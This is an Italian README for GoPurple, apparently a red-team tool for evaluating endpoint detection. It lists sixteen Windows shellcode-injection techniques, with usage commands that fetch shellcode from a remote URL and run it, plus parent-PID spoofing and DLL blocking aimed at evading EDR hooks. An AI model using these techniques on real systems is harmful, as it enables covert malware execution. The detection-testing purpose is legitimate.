
Un altro shellcode runner consiste in diverse tecniche per valutare le capacità di rilevamento delle soluzioni di sicurezza degli endpoint.
Questo progetto è una semplice raccolta di varie tecniche di iniezione di shellcode, con l'obiettivo di semplificare il processo di valutazione del rilevamento degli endpoint, oltre a mettermi alla prova per entrare nel mondo di Golang.
1 - Richiede go installato.
2 - Compila l'applicazione dalla directory del progetto: go build. Imposta GOOS=windows se il sistema di build non è Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
È necessario generare uno shellcode, ciò può essere fatto utilizzando strumenti come msfvenom o shad0w. Quindi lo shellcode deve essere ospitato per essere scaricato ed eseguito in remoto sulla macchina remota. Per chiarezza, le demo seguenti illustrano diversi modi di utilizzare lo strumento.
1 - Iniezione di shellcode utilizzando il metodo BananaPhone + Shad0w come generatore di shellcode

2 - Iniezione di shellcode utilizzando la tecnica QueueUserAPC + Shad0w come generatore di shellcode + spoofing dell'ID padre (explorer come ID padre) + avvio del processo tramite padre spoofato che contiene lo shellcode (calc) + protezione del processo da hook DLL non firmati, in modo che solo DLL firmate Microsoft possano agganciarsi al processo.

3- Iniezione di shellcode utilizzando CreateFiber + msfvenom come generatore di shellcode

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application's process can hook into the process
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Tutti i crediti vanno ai seguenti ragazzi per le loro fantastiche ricerche, strumenti e ispirazione:
ne0nd0g: La maggior parte di questo progetto è stata presa in prestito da go-shellcode
spotheplanet: Il blogpost mi ha ispirato a convertire il metodo in Golang
_d00mfist: Ottima implementazione della tecnica QueueUserAPC in Golang
c__sto: Tecnica BananaPhone
batsec: Il grande shad0w
chiragsavla94: Ispirato da ProcessInjection
S4R1N: Per aver introdotto le nuove esecuzioni di codice alternative
Grazie a brimston3 per il suo supporto e contributo
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
Questo progetto è realizzato solo a scopo educativo e di testing etico. L'utilizzo di GoPurple per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma.